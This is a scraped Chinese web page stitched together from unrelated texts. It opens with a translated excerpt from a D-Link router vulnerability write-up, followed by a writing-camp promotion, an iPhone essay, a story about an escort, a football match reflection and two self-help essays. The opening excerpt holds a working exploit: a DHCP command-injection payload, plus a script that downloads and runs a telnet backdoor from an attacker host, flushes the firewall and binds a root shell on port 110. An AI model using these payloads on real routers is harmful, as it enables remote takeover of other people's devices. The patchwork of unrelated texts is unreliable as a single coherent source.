rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10... Connected to 10.254.239.10. Escape character is '^]'.   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc drwxr-xr-x    2 root     root            0 Jan  1  1970 log drwxr-xr-x    3 root     root            0 Jan  1 00:00 run drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs -rw-r--r--    1 root     root           10 Jan  1  1970 TZ drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd -rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml -rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd drwxrwx---    2 root     root            0 Jan  1 00:00 session srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl -rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op drwxr-xr-x    2 root     root            0 Jan  1 00:00 home lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -> /var/tmp/storage drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc -rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0 drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger -rw-r--r--    1 root     root          383 Jan  1 00:00 re -rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan -rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf -rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf -rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf -rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf -rw-r--r--    1 root     root          199 Jan  1 00:00 hosts drwxr-xr-x   16 root     root          241 Jan 20  2017 .. drwxr-xr-x   14 root     root            0 Jan  1 00:00 . # cat re #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F         iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10  done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  #

还有一些WAN RCEs,首先第一个就是 /etc/services/INET/inet_ipv4.php存在漏洞

$udhcpc_helper = “/var/servd/”.$inf.”-udhcpc.sh”;

101行之后存在命令注入漏洞

 99     fwrite(w,$udhcpc_helper,  100                 '#!/bin/sh/n'. 101                 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console/n'. 102                 'phpsh '.$hlper.' ACTION=$1'. 103                         ' INF='.$inf. 104                         ' INET='.$inet. 105                         ' MTU='.$mtu. 106                         ' INTERFACE=$interface'. 107                         ' IP=$ip'. 108                         ' SUBNET=$subnet'. 109                         ' BROADCAST=$broadcast'. 110                         ' LEASE=$lease'. 111                         ' "DOMAIN=$domain"'. 112                         ' "ROUTER=$router"'. 113                         ' "DNS='.$dns.'$dns"'. 114                         ' "CLSSTROUT=$clsstrout"'. 115                         ' "MSCLSSTROUT=$msclsstrout"'. 116                         ' "SSTROUT=$sstrout"'. 117                         ' "SCOPE=$scope"'. 118                         ' "WINSTYPE=$winstype"'. 119                         ' "WINS=$wins"'. 120                         ' "SIXRDPFX=$sixrd_prefix"'. 121                         ' "SIXRDPLEN=$sixrd_prefixlen"'. 122                         ' "SIXRDMSKLEN=$sixrd_msklen"'. 123                         ' "SIXRDBRIP=$sixrd_bripaddr"'. 124                         ' "SDEST=$sdest"'. 125                         ' "SSUBNET=$ssubnet"'. 126                         ' "SROUTER=$srouter"/n'. 127                 'exit 0/n' 128                 );

;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; 可以注入对 /var/servd/一些生成的文件进行注入。

# cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease xmldbc -X /runtime/inf:1/dhcps4/leases xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100 xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199 xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1 xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http
://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1 event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 #  # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease xmldbc -X /runtime/inf:2/dhcps4/leases xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100 xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199 xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1 xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1 event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 #

*本文译者:ang010ela,参考资料https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html,转载请注明来自1024rd.COM

【无戒小岛免费分享课】如何在故事中塑造具有真实感的人物形象

本期嘉宾:共央君

95后大学生

简书签约作者

故事会专栏作者

立志讲够100个情感故事

她的文章相继被清华南都、共青团中央、读点、半月谈等知名大号转发

更有著名导师涂磊亲自朗诵转载

网友直呼“美感与骨感”兼具的暖心故事

已签约出版合集《这世界没有所谓的毫不费力》,即将上市

文/无戒

专注做一件事的人会怎样,答案很简单,会成功。

共央君是无戒写作训练营的第三期学员,之前我看过他的文章,很暖很走心

那时候我一直以为他是个男子,她在群里很幽默,也很低调,总是默默的写故事。在她身上我看到了专注原来这么简单,她的文章都是讲一些暖心的故事。

我一直觉得她会签约,她总说不急。我问过她很多次说:“亲爱的你可以申请签约了。”她说我再等等,等我在写几篇再去申请。

申请签约成功那天,她高兴的跑过来跟我说:“无戒姐姐,我申请成功了。”那一天整个无戒小岛都炸了,大家都很开心,好像看到了希望,看到了努力的意义。

无戒小岛现在已经近一千多人了,我跟我们的小岛舵主商量开始做小岛免费分享课,邀请我们群里的大神给大家做分享,一起进步。他们呼声很高。

无戒写作训练营出了六位签约作者,他们每个人都有自己的特色,很棒,很努力。

我这样说并不是吹嘘我的训练营有多棒,只是想说,任何别人给你的媒介只是跳杆,更多的还是在于自己是否用心。

每期训练营都有很优秀的学员,也有很多从开始到结束一个字都没有写的学员,

所以重要还是做与不做。

日更这个有争议性的话题,我再次说起,无论是是否日更,记得跟着自己的节奏不要放弃。

签约了六位宝宝,他们都有共性,文章在垂直领域很有代表性,而且会坚持不断的输出内容。

那么你想签约,你想好定位了吗?你有突出的优势吗?你可以坚持下去吗?

问问自己能做到多少就有多少机会。

我们无戒小岛的免费分享课正式开启,每周三邀请无戒岛的大咖为大家分享写作心得,读书心得,出版心得,甚至更多。有人说分享如何泡妹子,撩汉子,我认为也是可以有的。

21天训练营结束不是终点而是起点,我们的服务不是21天结束就会结束。我们的无戒小岛每周都会组织点评课,每月都会组织征文,为大家提供素材。我们岛里每一个宝宝都是我们的分享者,每个人都会机会被点评或者点评他人。

我希望课程越做越完美,口碑不是用一两篇讽刺文章就可以否定的,而真正的用心,每个参与进来的宝宝都可以切实感受到。

所以对于别人的说法,我选择沉默,有人说我讨好学员,我只想说他们交钱进来不是当我给他当爷的而是学习东西。我打赏学员是因为我觉得他们的努力值得鼓舞。

而我选择不回应,是因为有人告诉我说,狗咬我们一口,我们不应该咬狗一口。

对,这句话说的很对。

这期我们小岛邀请的嘉宾是简书签约作者:共央君

她分享的主题是:如何在故事中塑造真实感的人物形象。

看过她的文章都应该知道,她每一个故事都很真实,这其中的秘诀是什么,今晚八点不见不散。

让我们的共央君宝宝为你揭秘。

分享时间:2017年9月13号晚8点

参与方式:

关注简书大学堂微信公众号(jianshuit),后台回复“我要上岛”,获得主持人美女微信,进群领取分享课免费卷,地址在群里。

或者直接加我们美女主持人澜木卿的微信:xinge1677401116

无戒小岛第二期有奖征文【秋日时光】

欢迎参与

无戒小岛之12号当铺主题征文点这里参与

十年一觉 iPhone 梦:你根本想不到当年他们为了买部手机会做什么

点击上方蓝字关注「新世相」,我们终将改变潮水的方向。

对过去的十年,可以说只有一个最准确的称呼:苹果手机发明后的十年。

如果你的年龄大于十岁,你就可以骄傲地说自己身处于洪流中,见证一个了不起的时代。

凌晨刚结束的苹果发布会稍显与众不同,苹果公司创始人乔布斯被再一次隆重缅怀。对,iPhone 已经诞生 10 年了,它卖出了 12 亿部。

新世相的用户里 ,有一半人使用 iPhone。但并不是说只有用苹果手机才与此有关系。无论你在哪里,用什么手机,你生活的某个方面一定因为 iPhone 的诞生而发生过改变。

一位读者跟我说,10 年前他上高中时,用妈妈买的山寨杂牌手机。班里的土豪买了 iphone 3GS,玩赛车游戏,左右晃就能控制,看得他直流口水。

苹果手机只是个开始,它的跟随者与它一起,让我们真正进入了智能手机时代。

10 年前乔布斯说,iPhone 将重新定义手机。他自己应该也没料到,它重新定义了商业乃至世界的运转方式。

你也许并不想买一台新款的 iPhone。但如果你想,在文章的最后,给我讲一段关于 iPhone 的往事吧。我给你机会在第一时间获得它。

这个夜晚,我难免想起了很多围绕着 iPhone 发生的故事。

我的第一台 iPhone 是第 4 代,但它让我非常尴尬。我当时从工作了 8 年的体制内工作离职,换到一家市场化的媒体工作,薪水高了不少。

作为送给自己的礼物,我用 iPhone 换掉了手里的黑莓。一位前同事看到以后说:呀,果然有钱了就马上换 iPhone 了。

想想看,就在没几年前,用 iPhone 都被赋予了一种特别的标签。有个女孩说,第一次拿到自己的 iPhone 走在校园里,觉得整个人都带着风。

一个同事刚上大学时,姐姐给他买了 iPhone 4,全班只有他一个人有。

他一直记得睡在上铺的室友拿着他的 iPhone 的表情,翻来覆去地看,脸上的笑容比见到异地女友还开心。

昨天我们聊起这件事,他马上就回到了那种兴奋的状态:“iPhone 4 太划时代了。老拉风,我都感觉出了阶级。”

那时 iPhone 上有个吹裙子的游戏,对屏幕吹气,美女裙子就会掀开。

一群男孩吹得都快缺氧了。

现在你可能无法想象,在很长时间里,用 iPhone 意味着多么不同,而人们为了得到它,付出了想不到的代价。

原本,人们追逐 iPhone 是因为它的先驱性、设计、系统。但事实上,这一切最后变成了追逐金钱与身份混杂的荣耀。

一个广为流传的故事是卖肾买 iPhone。

那是 iPhone 4 最火的时候,2011 年,一个 17 岁的安徽高中生,通过黑中介卖掉了自己的左肾,赚了 2 万多块,买了新的 iPhone 和 iPad。

iPhone 因此得了一个称号——肾机。

你根本想象不到,一些人为了得到一部 iPhone 付出过什么努力。

当然没有卖肾这么极端,可能可能是 3 个月的晚饭钱,一些憋着劲打工的孤独的夜晚。

一个朋友当年在日本留学,带去的手机没多久坏了。她准备买一个好的,选中了 iPhone。

为了赚钱,她兼职两份工,从下午一点到晚上九点都打工。攒钱的那两个月,她买超市的半价食品,拒绝一切聚餐,舍不得钱买化妆品,每天擦擦水乳就出门。

对 iPhone 的渴望,甚至超过了女孩对“好看”的永恒追求。

那位羡慕我同事 iPhone 的上铺兄弟,后来也攒钱买了台,不是给自己,是送给异地的女友。

为此,他去外面找私活,画图纸,甲方总不满意。他就买了个充电小台灯,宿舍断电熄灯了,还猫在床上画。熬夜半学期,终于凑齐了钱。

我们曾为了 iPhone 这么拼命,很长时间里,它不仅是一台手机,它有特殊的光环。“用 iPhone 的人”是一种身份标签,带着褒义或贬义的偏见。

但后来,事情开始变化。

2017 年,iPhone 在大中华区的销量已经连续 6 个季度下滑。iPhone 的光环开始减退。

当年销量首次下滑时,一个北京市民告诉外国记者,根本不考虑花 5000 块买一台新 iPhone。因为他去年刚在北京市区买了一套房,收入的大部分要用来还贷款。

房子给他的安全感,让他对手里那部 2000 块的国产机彻底满意。

对越来越多的人来说,有一部 iPhone 不再是那么重要的事。我有个朋友,买得起 iPhone,但这几年一直用国产手机。他觉得用国产是一种自我表达:我在支持国货。

这 10 年里,苹果手机让自己慢慢变成了普通的东西,从肾机回归为手机。

那个熬夜给女友买 iPhone 的男孩,自己用的是摩托罗拉,1400 块。这场 iPhone 和摩托罗拉的异地恋后来持续了两年多。快毕业时,女孩有了新对象。

我们花了很久才意识到,手机不是爱情,不是生活,不是未来世界。它只不过是这一切的承载者。

一切结束后,你们的聊天记录、照片,你们一起去过的地方、听过的歌的东西,变成数据,存在里面。

10 年里,我们也变了。

曾经为了打游戏从学校翻墙去网吧的少年,现在随时都能拿出手机来一局王者荣耀。

曾经因为内存不足,把恋人的短信抄在笔记本上的人,现在把情话都截图存在相册里。

那个为了买一台 iPhone 卖肾的少年,不知他现在怎么样了。

读后思考:

你用 iPhone 记录过什么人生?

再见了,我不该爱的人

图片来自网络

我以为我可以清清白白的爱你,但当我在阳光底下看着你的时候,我还是不能,我感觉我的身体,乃至我的灵魂都肮脏不已。

我叫卫楠,我是一名陪酒女,除了陪酒以外,我也陪客人上床,但我不是谁的床都上,除了有钱以外,还要我愿意。这个世界到处充满性,用金钱做标码的,不一定就是最肮脏的。有时候客人选择我们,我们也在选择客人,有钱可以买到性,但不是每个人都可以买到我的。

两个月以来他每个星期都会来大时代喝酒,有时候跟几个同事,有时候也带着客户,每次陪酒的女孩都在变,但陪他的都是我。

“每次都是我陪你,你就不觉得腻吗?”我睡在床上的时候问他。

“为什么会腻,女孩还不是都一样,”他一边抽着烟一边回答我,他除了话比较少,就是烟抽得特别多。除了第一次跟他出来时我能感受到他紧张的情绪,大部分的时候,他都比较沉默,只是抽烟,他连笑的时候,嘴角上扬的角度都很轻微,只是浅浅的微笑。

“你是在暗示我下次要换人了吗”他接着说,又是那种浅浅的微笑。

“是啊,不然每次都是我,我怕不好意思收你钱了,”我歪着头回答他,除了第一次他给过我现金以外,他每次都是发红包给我,而且从来不发整数,有时候我收到他的微信的时候,都是一排下来的红包。

“为什么你不能直接就转账给我,非得一个一个红包的发,而且全都是188。”

“不行吗,这样我感觉我们就不像是在交易。”

“你是在无聊好吗,交易怎么啦,我才不觉得可耻。”

“我就喜欢一个个188的发,我也不觉得无聊。”

有时候面对他的时候真的有点无语,不知道是不是太熟悉了的缘故,每次陪他的时候我都会感觉不一样的轻松,起码在有他的床上我可以睡着,而不像在其他人床上时那样一直半睡半醒。

两个月了我一直不知道他的名字,他也不知道我的全名,虽然每次我们都出去开房,但是我们都很默契,不会去看彼此的身份证,哪怕有机会看到的时候,我们也故意忽视他,有些不需要记住的东西,何必要去知道。

这样的日子一直持续到我搬家的时候,是他帮我找的房子,跟他在同一个小区,是一个简单的一居一厅。

“我们住一个小区合适吗?”那天晚上搬东西的时候我问他。

“有什么不合适的,这样又近,还不用去酒店开房。”他一边帮我装床一边回答。

“你不怕其他人看到吗?”

“看到了怎么啦,我又没结婚,我的同事也不住这里。”

“我要是白天碰到你,我是不是要跟你打招呼。”

“随便你吧,我会跟你打招呼的。”他说这话的时候调侃的笑着。

我依旧是白天睡觉晚上上班,住了两个多月我只在白天的楼下碰到过他一次,大部分的时候我们都只在晚上见面,他来大时代的次数比以前少了,但我们见面的次数多了,有时候他想见我的时候,就直接过来找我。他还是像以前那样喜欢发红包,有时候发一个,有时候发一排,我有时候不收,有时候收一个,有时候一排收下来。说实话,我已经不是很在乎他的钱了。

“你能不能不要再给我发红包了,要不你直接给我包养费好了,”有时候我故意很认真的这样跟他说。

“行啊,你说多少吧,”他一般都是一边笑着一边抽着烟说。

“这么多,”我比了一个手掌给他。

“5百块,行啊,我现在转给你。”

“什么5百,10倍都不止,5万块。”

“那以后你去我那里,你包养我,你每个月给我50就够了。”他有时候很安静,有时候说起话来也很无赖。

“去死吧。”我只能扔他一个枕头。

在这里住了那么久,每次都是他来我这里,但我从来没去过他住的地方。直到有天他微信上发给我。

“今天晚上你别去上班了,上我这里打火锅吧。”

我没有马上回他,过了一会他又发了一条过来。

“不喝酒了,喝天地一号。”

那晚我第一次去了他那里,他住的地方是个二居室,一个房间做卧室,一个房间做书房,书房里有很多的书,我去的时候桌面上还有一本翻到一半的海子诗选。

“你平时还看书,怪不得看到你反应这么迟钝。”我笑他。

“我这些书是用来摆的,不是看的,等一下借你几本回去慢慢研究。”他靠着房门,一边抽烟一边笑着说。

“要不然我搬过来算了,这样借你书也方便点,不用走来走去,”我仍然跟他开着玩笑。

“好啊,你明天搬过来。”

他说这话的时候因为弥漫的烟雾我没看清楚他的脸,只是他的口气让我觉得好像他并不是在跟我开一个玩笑,有那么一刻我突然有股想冲上去抱着他亲吻他的冲动,但是我没有,有些没有结果的事,何必去做。

那天晚上的火锅吃得有点温馨,他像对待女朋友一样帮我烫牛肉烫青菜,虽然大部分的时候我们只是安静的吃着东西不说话,但他看我时的那一种眼神让我感觉跟以往都不相同,以往我看他的眼神时感受到的是一片陌生的汪洋,但今晚却是一片熟悉而温暖的海水。那晚我第一次在他的床上没有睡着,我感觉自己的内心变得沉甸甸,我不敢转身去看他睡觉时的样子,因为我怕我控制不住我自己,所以,我只能背对着他。

“如果什么时候你厌恶你现在的生活了,想看书了,你就搬过来,”这是第二天早上,我离去时他靠在书房门口对我说的话。

接下来的几天里,我没有去上班,他也没有来找我,我一个人去了海边,赤着脚坐在沙滩上,任由海水冲刷着我的脚,我的腿,然后湿润我的衣服。我捧了一口海水喝了下去,喉咙里尽是苦涩的味道,海水是水,但却是不能喝的水,哪怕它漫入我的嘴里,我却不能吞下它。

回去的那天晚上我又去了他家里,当他睡着的时候,我坐在床边的地板上,点着了一根他常抽的香烟,烟雾弥漫中有几滴眼泪顺着我的脸颊流下,巨大的烟味呛得我的内心都快破裂。

当我推着我的行李箱,在他看不到的地方看着他远远的出现,然后远远的消失,我已经准备离开这个城市,去开启我的新生活。我不知道在我们之间存在的,除了肉体是不是也有所谓的爱情,但爱情对于我来说太过奢侈,如果是一段不会被祝福的爱情,为什么要让他开始。

谢谢你,那个我不知道名字却又熟悉的人。

谢谢那么多曾经有你睡在身旁的夜晚,让我不眠的夜可以安然入睡。

谢谢这座有你的城市,让我的人生多了一段回忆和故事。

愿另外一个城市的我和你,都再遇到一段新的爱情。

西甲第3轮:瓦伦西亚vs马德里竞技

写在前面:写不出故事就来写些别的吧,当然,正儿八经的比赛分析我是写不出来的,只是写写自己对比赛的感受。

与小黄人一样的客场球衣

昨晚22:15分马德里竞技客场踢瓦伦西亚,比赛已结束一个小时。为什么会想要写这场比赛呢?因为0:0踢平了,不开心,睡不着。

在前三轮比赛中,马德里竞技1胜2平,获得5分,与我的预期不同,马竞新赛季的开始略有些坎坷,希望不是因为我毒奶。

第一场比赛,马竞遇升班马赫罗纳,最终以2:2战平,各取1分。第二场马竞最终以5:1的结果战胜拉斯帕尔马斯,全取三分。

第三场比赛便是昨晚这一场。

马竞的首发阵容是:门将奥布拉克;后卫卢卡斯, 萨维奇,菲利佩,胡安弗兰;中卫科克,托马斯,卡拉斯科,萨乌尔;前锋科雷亚,比埃托。

对于门将奥布爸爸,我是很放心的,后卫中看到菲利佩我也莫名的安心。但,这场比赛踢的很是艰难,看得很是揪心。

比埃托错失了一个极好的进球机会,科克多次传球失败,后换下比埃托上场的托雷斯也失误很多……

最让人难过的是托雷斯。

并非因他表现不好难过,而是对英雄迟暮的难过。每逢他上场,球迷都会期盼着他进球,即使比赛胜负已定。

不想承认,却不得不承认,我们的金童,老了。

胡安弗兰在这场比赛中也表现出了老态,菲利佩比之胡安弗兰好一些,但也已是32岁的老将。

这场球,看得啊,真是特别难过。

瓦伦西亚在这场比赛中使用了马竞擅长的打法,防守反击,两球队之间多次攻防转换,这也确实压制住了马竞,导致马竞多次传球失误。防守方面,瓦伦西亚做的很好,使得马竞进攻的局面多次“乱成一锅粥”,门将反应极快,成功扑救多次。

不得不说,瓦伦西亚是一支很难“对付”的球队,在这个赛季应该会大放光彩。(希望我没有毒奶他)

我承认他厉害,但是,对于他队一球员撞飞托雷斯一事我怕会一直耿耿于怀。

在比赛中身体碰撞之类很正常,我知道,但这是托雷斯,所以格外心疼。

瓦伦西亚对马德里竞技的前一场比赛是皇马主场对阵莱万特,最终以1:1战平。

皇马新赛季似乎同样不太顺利,与马竞一样,只得了5分。而在此之前,皇马7号C罗获红牌遭禁赛,马竞7号格列兹曼同样被禁赛,如果这场比赛我格能够上场,也许就不是这样的结局,当然,如果皇马C罗上场了,情况可能也会大不一样。

被诅咒的“真·假”马德里。

下一场西甲的比赛是马竞主场对阵马拉加,这将是马竞新球场万达大都会的首秀,格列兹曼的禁赛也将解除,应该会上场,但时间似乎晚了些,毕竟像昨晚那样七点十点的比赛实在不多。

刚看到主教练西蒙尼赛后说,“我们在场上的表现还是不错的,只是遗憾的是,最终没有取得进球。”

既然老大都这么说了,那,就不错好了!

最后,表白马竞,爱你。

简单3点,成为『卓有成效』的人

1

据说 70% – 80% 的人都认为自己比别人聪明,极少会有人觉得比别人笨,你可以想一想自己是不是这样,事实上『自视过高』基本是每个人都存在的认知偏差。但不管是真聪明还是假聪明,只要自认聪明,就免不了要犯聪明人的错误。

设想一下,一个并不聪明的人,却犯了聪明人爱犯的错,就像穷人得了富贵病,下场搞不好会比聪明人惨得多。

聪明人爱犯哪些错?今天我们只说一点,就是现代管理学之父彼得·德鲁克在《卓有成效的管理者》一书中提到的问题,他们太热爱自己的聪明了,却忘了聪明本身并不是成果。为什么很多聪明的人一辈子没有做出什么成就?用我们中国人的话讲,就是『眼高手低』。眼高手低的问题不是『眼高』,而是『手低』,『聪明人』在这里的问题就在于手太低了,拿不出成果。初入职场者往往如此。

2

几年之后在各种现实打击之下,有些人对自己的认识会『趋于理性』,终于发现自己其实就是普通人。这时候又会面对新的困惑,你踏踏实实累死累活的做事,却并没有拿得出手的成绩,职位可能也没有升高,你忍不住想跳槽,但简历里能写的全是你这几年干了什么活儿,说不明白自己做成了什么事,跳槽也拿不到好工资。总之,你发现自己『碌碌无为』,一年忙到头,收获寥寥,感觉就是在原地打转。

其实既『碌碌』又『无为』,这应该是很多人的苦恼,一般这时还会顺带『无钱』,更是恼上加恼。

3

人总是分成两类的,有人这样,就一定有人不这样。

德鲁克在《卓有成效的管理者》里描述了一种与『碌碌无为』相反的人:

在每一个机构中,总会有一些极为有效的勤勉人士,当别人忙得晕头转向的时候(一般人常误以为忙碌就是有干劲的表现),那些有效的勤勉人士却像龟兔赛跑的童话一样,脚踏实地,一步一个脚印,率先到达目的地。

在德鲁克的描述中,这种勤勉人士并没有做更多的事,而是做有效的事,让自己每一步都踏出一个脚印。他们的行为是在推动事情向着目标产生有益的进步,而不是瞎忙。这也使得他们获得与别人不同的结果——率先到达目的地

『到达目的地』就是实现目标结果的意思,与碌碌无为的人相比,二者的区别在于,一个是为了实现目标结果而做事,一个是为了做事而做事。如果你觉得自己原地踏步,那往往是因为你做的事情没有让自己往目标前进,不管是公司的目标,还是你自己的个人目标,用管理学的话讲,你做事缺乏有效性。衡量标准就一个,即能不能向着目标产生有益结果。

个体户和创业者很容易养成从『有效性』出发的思考方式,因为他们每天都要直面经营中的现实压力,做的事情有没有效果,是直接影响生死存亡的大事,所以他们必须关注结果是否有效。

但毕竟不是每个人都会去创业,普通人如果想做出更好的成绩,该如何提高自己工作的有效性呢?我们可以从德鲁克的书中获得一些对每个人都有用的建议。

一、有效利用时间

要做到卓有成效,首先要做的第一步,是记录好时间的使用情况。分析时间记录,及时消除不必要的时间浪费。我们能做多少事,不取决于我们花了多少时间,取决于我们花了多少有效时间,也就是真正花在重要事情上的时间。

工作中总有许多杂事需要处理,或是没必要的会议需要你参加,但不管是什么事,如果这件事情不能产生效益,那么就是浪费时间,就是无效或低效的。这都要想办法尽量避免。

二、我要贡献什么价值

如果别人问,『你在公司是做什么的?』,你会怎么回答?

一种回答是『我负责会计业务』;另一种回答是『我的任务,是向我们的经理提供他所需要的资料,使他能做出正确的决策』。

一种回答是,『我负责销售部门』;另一种回答是『我负责研究本公司的顾客将来需要什么产品』。

区别在哪里?一个着眼于具体做什么事,另一个着眼于我提供给组织什么样的价值,也就是着眼于自己的贡献。如果不清楚自己该给组织贡献什么,你就不知道自己最该做的事情是什么,又怎么开展卓有成效的工作呢?

所以我们每个人都应该有自省意识,想一想组织为什么聘用我,我应该对组织有什么贡献?着眼于贡献,我们重视的就不仅是方法,而是目标和结果,对组织而言,工作的有效性就体现在结果的有效性。

三、处理真正有生产性的工作

要有效利用自己的才能,最好的办法莫过于集中所有才能于一件要务上。杂技演员可以双手同时抛七八个球,但即使最优秀的演员也很难坚持十分钟。当我们处于『单任务处理』状态才是最高效的,任务太多就会『卡顿』。

工作一般分成两种,一种是生产性的,它是重要的产生价值的工作,一种是非生产性的,主要是没有技术含量的常规性工作。

所以如果你只能做一件事,那肯定是做最重要的那件。根据人的特性,我们必须做到要事优先,一次只做好一件事。要知道并非每一件事情都对我们有同等价值,根据二八原则,我们80%的工作产出,可能都是20%的工作决定的,所以为它们预留出整块时间优先处理,是加快工作速度的最佳方法。


实际上彼得·德鲁克的这些建议本来是针对管理者的,但这里的管理者并不是职位的概念,每个人都或多或少的充当管理者的角色,至少也是管理着自己,所以每个人都应该提高自己工作的有效性。

同时,『有效性』也不应该只是管理学的概念,它可以应用在我们生活的方方面面,不光是有无效工作,还有无效学习,无效努力,无效投入,无效选择。可能是无效,也可能是低效,总之,不够『有效』就是对我们人生的某种浪费。当我们做决策的时候,不妨多想一想,『我想达成什么样的目标?』,『我这样做能产生什么样的结果?』,这样的思考多一点,就可以杜绝很多瞎忙。

每个人的时间和精力都是有限的,付出就应该产生最好的效果,毕竟我们已经那么辛苦,劳而无功可就太不划算了。

你和别人就差在两个字的距离,那就是格局。

文|繁花豆

/ 01 /

在公交车上,偶然听到邻座两个女生的对话。

其中一个说:

“这两天被薛之谦的热搜刷爆了,这样的男人真的好帅好帅啊,羡慕死我了。”

另一个说:

“要是以后我能找到像他这样有钱又有才华的男朋友,我一定回去给我家祖坟烧高香,三天激动到不想睡。”

我听后忍不住想笑,转头看了她们一眼,发现两个穿着高中校服的女生一边玩着王者荣耀一边聊得津津有味。

我们进入了一个全民娱乐的时代,明星的风吹草动成了我们每天的谈资和乐趣。追星的现象并不奇怪,只是现在的小女孩做着这么不现实的幻想,让人担心。从小就想要依靠别人,不会自食其力,这样的格局只会随年龄的增长越发缩小。

女孩子啊,不应该总把希望寄托为别人身上,什么时候你才能认真的看看自己。

有人说,你的时间花在哪,你就会成为什么样的人。格局高的人,不会花太多时间在娱乐上。

我深以为然。

/ 02 /

中国著名作家杨绛先生曾给一个向她请求解惑的年轻人写信说,你的问题就在于读书太少,想得太多。

而有有些人的问题就在于,自己不想行动,还设法阻挡别人的行动。

我的朋友琳琳本身是一个挺好学上进的姑娘,去年报考英语四级考试,她每天早上都早起床一个小时,去操场背单词和作文以及句子。

没想到,过了两天她回到宿舍就开始发现不对劲,一进门,就被舍友说“哟,我们的大学霸回来了!”

其他人默契的转头哼嗤一笑,而后各干各的事。留下她一个人尴尬的不知所措,明明她才开始两天啊。

到了第三天,终于有人抗议,说“你起得太早了,影响我们休息。你能不能别起那么早?”

“就是就是,太吵了!”其中一个附和道。

“可我已经很轻很轻了……”朋友委屈的泪水在眼眶里直打转。

后来,她被迫换宿舍。曾经的那些室友,追剧、刷博、聊八卦……无不热闹,我庆幸的是朋友终于脱离了那一群:看不惯别人努力,自己自甘堕落颓废的人。

眼界和格局不一样的人,即使有再多的缘分也不可能成为朋友。

/ 03 /

你的问题,就在于思考太少,本末倒置。我想起一个小故事,一个老伯伯费力的抗起一把锯子在树林里锯树,但过了一上午才锯了一棵完整的。有人路过,忍不住问:

“你为什么不把锯子磨锋利一点才去锯树呢?”

他却回答:“我没空,锯树都来不及,哪有时间磨锯子!”

俗话说,“磨刀不误砍柴工”,说的就是这样,这像不像舍本求末的你。

我们每天都有大大小小的事需要去做,总觉得时间不够用。而时间到底去哪儿了呢?

你总是忍不住拿起手机先刷刷朋友圈,你说刷一下就去看书,而一刷就是一上午却混然不觉。书没看成,一天时间过了大半。

你总是感叹别人旅行的生活如此丰富,到你自己时,却说着没空做攻略,还是算了算了。

你有空聊娱乐八卦,却没空管理一下横向发展的身材。

格局越低的人,越喜欢花时间在不重要不紧急的事上。

有句古话叫“工欲善其事,必先利其器”,只有将时间花在磨练自己,从身体、精神、心智到待人处事四个层面,才能增进个人产能,累积其他修养的本钱。

有人说:你天天这么忙,才是你做不成大事的原因。你就是看起来很努力,实际上啥也没干成。

/ 04 /

你的问题就在于时间浪费太多,却没有找到自己最重要的事。什么时候开始,你的格局开始越来越低?

